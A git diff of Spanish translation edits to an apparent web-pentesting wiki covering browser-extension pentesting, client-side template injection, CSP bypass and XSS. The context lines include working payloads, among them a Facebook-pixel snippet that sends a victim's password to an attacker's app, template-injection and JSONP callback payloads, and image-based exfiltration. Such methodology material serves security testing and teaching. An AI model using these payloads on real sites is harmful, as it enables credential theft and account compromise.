Content-Type: application/x-www-form-urlencoded diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 83fdd6454..dd8439d95 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -22,7 +22,7 @@ El núcleo de la extensión contiene la mayoría de los privilegios/accesos de l ### **Binario Nativo** -La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones de plugins de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador. +La extensión permite un binario nativo que puede **acceder a la máquina host con todos los privilegios del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones de plugins de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador. ### Límites @@ -243,7 +243,7 @@ Las extensiones de navegador pueden contener varios tipos de páginas:
-Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según la necesidad. A pesar de esto, comparten ciertas capacidades con la página de fondo: +Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según sea necesario. A pesar de esto, comparten ciertas capacidades con la página de fondo: - **Comunicación con Scripts de Contenido:** Similar a la página de fondo, estas páginas pueden recibir mensajes de scripts de contenido, facilitando la interacción dentro de la extensión. - **Acceso a APIs Específicas de la Extensión:** Estas páginas disfrutan de acceso completo a APIs específicas de la extensión, sujeto a los permisos definidos para la extensión. @@ -276,7 +276,7 @@ Para más información sobre CSP y posibles bypasses, consulta: ### `web_accessible_resources` -Para que una página web acceda a una página de una extensión de navegador, por ejemplo, una página `.html`, esta página debe mencionarse en el campo **`web_accessible_resources`** del `manifest.json`.\ +Para que una página web acceda a una página de una extensión de navegador, una página `.html`, por ejemplo, esta página debe mencionarse en el campo **`web_accessible_resources`** del `manifest.json`.\ Por ejemplo: ```javascript { @@ -317,7 +317,7 @@ browext-clickjacking.md > Permitir que estas páginas se carguen solo por la extensión y no por URLs aleatorias podría prevenir ataques de ClickJacking. > [!CAUTION] -> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts en segundo plano**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor. +> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts de fondo**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor. > > Además, tenga en cuenta que solo puede abrir páginas indicadas en **`web_accessible_resources`** dentro de iframes, pero desde una nueva pestaña es posible acceder a cualquier página en la extensión conociendo el ID de la extensión. Por lo tanto, si se encuentra un XSS abusando de los mismos parámetros, podría ser explotado incluso si la página no está configurada en **`web_accessible_resources`**. @@ -338,11 +338,11 @@ Según la [**documentación**](https://developer.chrome.com/docs/extensions/refe Cuantas **menos extensiones y URLs** se indiquen aquí, **menor será la superficie de ataque**. > [!CAUTION] -> Si una página web **vulnerable a XSS o takeover** se indica en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP. +> Si una página web **vulnerable a XSS o toma de control** se indica en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP. > > Por lo tanto, este es un **bypass muy poderoso**. > -> Además, si el cliente instala una extensión maliciosa, incluso si no se le permite comunicarse con la extensión vulnerable, podría inyectar **datos XSS en una página web permitida** o abusar de las APIs **`WebRequest`** o **`DeclarativeNetRequest`** para manipular solicitudes en un dominio objetivo alterando la solicitud de una **archivo JavaScript**. (Tenga en cuenta que el CSP en la página objetivo podría prevenir estos ataques). Esta idea proviene de [**este artículo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). +> Además, si el cliente instala una extensión maliciosa, incluso si no se le permite comunicarse con la extensión vulnerable, podría inyectar **datos XSS en una página web permitida** o abusar de las APIs **`WebRequest`** o **`DeclarativeNetRequest`** para manipular solicitudes en un dominio objetivo alterando la solicitud de una **archivo JavaScript**. (Tenga en cuenta que el CSP en la página objetivo podría prevenir estos ataques). Esta idea proviene de [**este informe**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). ## Resumen de comunicación @@ -393,7 +393,7 @@ También es posible enviar mensajes desde un script de fondo a un script de cont ### Desde `externally_connectable` permitido a la extensión -**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes utilizando : +**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes usando : ```javascript chrome.runtime.sendMessage(extensionId, ... ``` @@ -539,7 +539,7 @@ Las extensiones del navegador también permiten comunicarse con **binarios en el "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] } ``` -Donde el `name` es la cadena pasada a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para comunicarse con la aplicación desde los scripts de fondo de la extensión del navegador. La `path` es la ruta al binario, solo hay 1 `type` válido que es stdio (usar stdin y stdout) y los `allowed_origins` indican las extensiones que pueden acceder a él (y no pueden tener comodín). +Donde el `name` es la cadena pasada a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para comunicarse con la aplicación desde los scripts de fondo de la extensión del navegador. El `path` es la ruta al binario, solo hay 1 `type` válido que es stdio (usar stdin y stdout) y los `allowed_origins` indican las extensiones que pueden acceder a él (y no pueden tener comodín). Chrome/Chromium buscará este json en algunos registros de Windows y algunas rutas en macOS y Linux (más información en los [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). @@ -575,12 +575,12 @@ Por supuesto, no **coloque información sensible en el código**, ya que será * Para volcar la memoria del navegador, podría **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador y hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible. -Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería poder ser copiada en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas. +Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería permitirse que se copien en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas. ## Cargando una Extensión en el Navegador 1. **Descargue** la Extensión del Navegador y descomprímala. -2. Vaya a **`chrome://extensions/`** y **active** el `Modo de Desarrollador`. +2. Vaya a **`chrome://extensions/`** y **active** el `Modo Desarrollador`. 3. Haga clic en el botón **`Cargar descomprimido`**. En **Firefox**, vaya a **`about:debugging#/runtime/this-firefox`** y haga clic en el botón **`Cargar complemento temporal`**. @@ -610,7 +610,7 @@ Otro método conveniente es usar el Chrome Extension Source Viewer, que es un pr ### Ver el código fuente de la extensión instalada localmente -Las extensiones de Chrome instaladas localmente también se pueden inspeccionar. Aquí te explicamos cómo: +Las extensiones de Chrome instaladas localmente también se pueden inspeccionar. Así es como: 1. Accede a tu directorio de perfil local de Chrome visitando `chrome://version/` y localizando el campo "Profile Path". 2. Navega a la subcarpeta `Extensions/` dentro del directorio del perfil. @@ -648,7 +648,7 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada** - [ ] **Limitar** tanto como sea posible los **`web_accessible_resources`**, incluso vacíos si es posible. - [ ] Si **`web_accessible_resources`** no es ninguno, verificar [**ClickJacking**](browext-clickjacking.md) - [ ] Si ocurre alguna **comunicación** de la **extensión** a la **página web**, [**verificar XSS**](browext-xss-example.md) **vulnerabilidades** causadas en la comunicación. -- [ ] Si se utilizan Post Messages, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.** +- [ ] Si se utilizan Post Messages, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/index.html)**.** - [ ] Si el **Content Script accede a detalles del DOM**, verificar que **no estén introduciendo un XSS** si son **modificados** por la web - [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación de Content Script -> script de fondo** - [ ] Si el script de fondo se comunica a través de **native messaging**, verificar que la comunicación sea segura y esté saneada @@ -684,12 +684,12 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada** - Descargar extensión y versiones formateadas. - Descargar la extensión original. - Descargar una versión embellecida de la extensión (HTML y JavaScript auto formateados). -- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, asumiendo que la extensión no ha sido actualizada, será casi instantáneo debido a que los resultados están en caché. +- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no se haya actualizado, será casi instantáneo debido a que los resultados están en caché. - URLs de Reporte Enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish. ### [Neto](https://github.com/elevenpaths/neto) -El proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de los complementos y extensiones de navegador para navegadores bien conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML. +El proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de plugins y extensiones de navegador para navegadores bien conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML. ## Referencias diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 282bff48e..84cf48ab6 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -4,7 +4,7 @@ ## Resumen -Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar código JavaScript** arbitrario en el navegador de la víctima. +Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/index.html) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar código JavaScript** arbitrario en el navegador de la víctima. **Probar** esta vulnerabilidad es muy **similar** al caso de **SSTI**, el intérprete espera **una plantilla** y la ejecutará. Por ejemplo, con una carga útil como `{{ 7-7 }}`, si la aplicación es **vulnerable** verás un `0`, y si no, verás el original: `{{ 7-7 }}` @@ -35,7 +35,7 @@ Y el **código fuente** del ejemplo vulnerable aquí: [https://github.com/azu/vu ">
aaa
``` -Un muy buen artículo sobre CSTI en VUE se puede encontrar en [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +Un buen artículo sobre CSTI en VUE se puede encontrar en [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V3** ``` @@ -47,7 +47,7 @@ Créditos: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/re ``` {{constructor.constructor('alert(1)')()}} ``` -Créditos: [Mario Heiderich](https://twitter.com/cure53berlin) +Crédito: [Mario Heiderich](https://twitter.com/cure53berlin) **Consulta más cargas útiles de VUE en** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 9ccf375c8..6f3552b54 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,7 +4,7 @@ ## What is CSP -Content Security Policy (CSP) es reconocida como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el cross-site scripting (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`. +La Política de Seguridad de Contenidos (CSP) se reconoce como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`. La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada. @@ -20,7 +20,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; CSP se puede hacer cumplir o monitorear utilizando estos encabezados: -- `Content-Security-Policy`: Hace cumplir el CSP; el navegador bloquea cualquier violación. +- `Content-Security-Policy`: Hace cumplir la CSP; el navegador bloquea cualquier violación. - `Content-Security-Policy-Report-Only`: Se utiliza para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción. ### Defining Resources @@ -69,8 +69,8 @@ object-src 'none'; - `'unsafe-eval'`: Permite el uso de `eval()` y métodos similares, no recomendado por razones de seguridad. - `'unsafe-hashes'`: Habilita controladores de eventos en línea específicos. - `'unsafe-inline'`: Permite el uso de recursos en línea como ` ``` -Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir un tipo determinado de archivos**. +Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir determinados tipos de archivos**. -Además, incluso si pudieras subir un **código JS dentro** de un archivo usando una extensión aceptada por el servidor (como: _script.png_), esto no será suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***. +Además, incluso si pudieras subir un **código JS dentro** de un archivo utilizando una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***. -A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crea un polyglot ([algunos ejemplos de polyglot aquí](https://github.com/Polydet/polyglot-database)). +A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crear un poliglota ([algunos ejemplos de poliglota aquí](https://github.com/Polydet/polyglot-database)). ### Form-action @@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a " > ``` -#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([consulta esta publicación](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): +#### Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): > [!NOTE] -> La publicación muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**. +> El post muestra que podrías **cargar** todas las **bibliotecas** desde `cdn.cloudflare.com` (o cualquier otro repositorio de bibliotecas JS permitidas), ejecutar todas las funciones añadidas de cada biblioteca y verificar **qué funciones de qué bibliotecas devuelven el objeto `window`**. ```markup @@ -274,7 +274,7 @@ Es posible abusar de Google Apps Script para recibir información en una página ```http Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` -Escenarios como este donde `script-src` está configurado en `self` y un dominio particular que está en la lista blanca puede ser eludido usando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento: +Escenarios como este donde `script-src` está configurado en `self` y un dominio particular que está en la lista blanca pueden ser eludidos usando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento: ```markup "> "> @@ -284,7 +284,7 @@ Escenarios como este donde `script-src` está configurado en `self` y un dominio https://www.youtube.com/oembed?callback=alert; ``` -[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para eludir CSP de diferentes sitios web.** +[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para el bypass de CSP de diferentes sitios web.** La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza. @@ -292,16 +292,16 @@ La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que podrían estar permitidos en algún lugar del CSP, que pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son: -| Entidad | Dominio Permitido | Capacidades | -| ------------------ | ------------------------------------------- | ------------ | -| Facebook | www.facebook.com, \*.facebook.com | Exfil | -| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | -| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | -| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | -| Amazon AWS | \*.amazonaws.com | Exfil, Exec | -| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec | -| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | -| Google Firebase | \*.firebaseapp.com | Exfil, Exec | +| Entidad | Dominio Permitido | Capacidades | +| ------------------ | ------------------------------------------- | ------------- | +| Facebook | www.facebook.com, \*.facebook.com | Exfil | +| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | +| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | +| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | +| Amazon AWS | \*.amazonaws.com | Exfil, Exec | +| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec | +| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | +| Google Firebase | \*.firebaseapp.com | Exfil, Exec | Si encuentras alguno de los dominios permitidos en el CSP de tu objetivo, es probable que puedas eludir el CSP registrándote en el servicio de terceros y, ya sea exfiltrando datos a ese servicio o ejecutando código. @@ -322,18 +322,18 @@ Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho co 5. Ve a "Administrador de eventos" de tu aplicación y selecciona la aplicación que creaste (ten en cuenta que el administrador de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). 6. Selecciona la pestaña "Eventos de prueba" para ver los eventos que se envían desde "tu" sitio web. -Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al app-id de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este: +Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al ID de aplicación de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este: ```JavaScript fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account fbq('trackCustom', 'My-Custom-Event',{​ data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​ }); ``` -En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en las que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para explicaciones adicionales sobre otros abusos de terceros. +En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicaciones adicionales sobre otros abusos de terceros. ### Bypass via RPO (Relative Path Overwrite) -Además de la redirección mencionada anteriormente para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores. +Además de la redirección mencionada para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores. Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, se puede eludir de la siguiente manera: ```html @@ -357,18 +357,18 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb ../xss-cross-site-scripting/iframes-in-xss-and-csp.md {{#endref}} -### falta **base-uri** +### falta de **base-uri** -Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/). +Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/index.html). -Además, si la **página está cargando un script usando una ruta relativa** (como ` ng-app"ng-csp ng-click=$event.view.alert(1337)> @@ -397,7 +397,7 @@ Otros puntos de ejecución arbitraria de JSONP se pueden encontrar en [**aquí** ### Bypass a través de Redirección -¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, aún fallará. +¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, seguirá fallando. Sin embargo, de acuerdo con la descripción en [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirección lleva a un camino diferente, puede eludir las restricciones originales. @@ -421,7 +421,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" /> ``` Si CSP está configurado en `https://www.google.com/a/b/c/d`, dado que se considera la ruta, tanto los scripts `/test` como `/a/test` serán bloqueados por CSP. -Sin embargo, el final `http://localhost:5555/301` será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, **la ruta no se considera**, y **el script puede ser cargado**, eludiendo así la restricción de la ruta. +Sin embargo, el `http://localhost:5555/301` final será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, **la ruta no se considera**, y el **script puede ser cargado**, eludiendo así la restricción de la ruta. Con esta redirección, incluso si la ruta se especifica completamente, aún será eludida. @@ -429,7 +429,7 @@ Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vuln ### Eludir CSP con marcado colgante -Lee [cómo aquí](../dangling-markup-html-scriptless-injection/). +Lee [cómo aquí](../dangling-markup-html-scriptless-injection/index.html). ### 'unsafe-inline'; img-src \*; a través de XSS ``` @@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *; ``` `'unsafe-inline'` significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y `img-src *` significa que puedes usar en la página web cualquier imagen de cualquier recurso. -Puedes eludir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen): +Puedes eludir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extraer la bandera a través de una imagen): ```javascript ``` -### A través de Bookmarklets +### Via Bookmarklets Este ataque implicaría algo de ingeniería social donde el atacante **convince al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **código javascript malicioso** que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, **eludiendo CSP y permitiendo robar información sensible** como cookies o tokens. Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### Bypass de CSP restringiendo CSP +### CSP bypass by restricting CSP -En [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **contaminación de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**. +En [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude al inyectar dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **prototype pollution** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**. -Puedes **restringir un CSP de un Iframe** con el **atributo `csp`**: +Puedes **restringir un CSP de un Iframe** con el **`csp`** atributo: ```html ``` -Tenga en cuenta que si intenta **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar la **carga útil**, **no funcionará**, pero puede **mezclarlos dentro de la carga útil**. +Tenga en cuenta que si intenta **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar el **payload**, **no funcionará**, pero puede **mezclarlos dentro del payload**. **Usando codificación Hex y Octal con `javascript:`** @@ -385,7 +385,7 @@ Si puedes inyectar cualquier URL en una etiqueta **` //No safari @@ -430,7 +430,7 @@ Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): ### Bypasses de lista negra -Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:** +Varios trucos con el uso de diferentes codificaciones ya se han expuesto en esta sección. Ve **de vuelta para aprender dónde puedes usar:** - **Codificación HTML (etiquetas HTML)** - **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)` @@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36)) #!This is a 1 line comment, but "#!" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**Saltos de línea de JavaScript (del** [**truco de saltos de línea de JavaScript**](#javascript-new-lines) **)** +**Saltos de línea de JavaScript (del** [**truco de salto de línea de JavaScript**](#javascript-new-lines) **)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) @@ -746,9 +746,9 @@ dom-xss.md {{#endref}} Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\ -Además, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering). +Además, no olvides que **al final de la publicación mencionada** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering). -### Mejorando Self-XSS +### Mejora de Self-XSS ### Cookie XSS @@ -758,7 +758,7 @@ Si puedes desencadenar un XSS enviando la carga útil dentro de una cookie, esto ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Puedes encontrar un gran abuso de esta técnica en [**este post del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +Puedes encontrar un gran abuso de esta técnica en [**esta publicación del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Enviando tu sesión al administrador @@ -787,7 +787,7 @@ Ejemplo de formulario ([de este informe](https://hackerone.com/reports/709336)), ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -El par "Key","Value" se devolverá así: +La pareja "Key","Value" se devolverá así: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` @@ -830,11 +830,11 @@ Si descubres que puedes **inyectar encabezados en una respuesta de redirección En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\ Protocolos conocidos en el pasado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`. -### Solo letras, números y puntos +### Solo Letras, Números y Puntos Si puedes indicar el **callback** que JavaScript va a **ejecutar** limitado a esos caracteres. [**Lee esta sección de esta publicación**](#javascript-function) para encontrar cómo abusar de este comportamiento. -### Tipos de contenido ` ``` -La respuesta es: - -- **module** (por defecto, nada que explicar) +- **módulo** (predeterminado, nada que explicar) - [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo. ```html ``` -### [SSRF](../ssrf-server-side-request-forgery/) +### [SSRF](../ssrf-server-side-request-forgery/index.html) Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que puedes hacer que el script cargue recursos externos). Así que solo intenta explotarlo (¿leer algunos metadatos?). diff --git 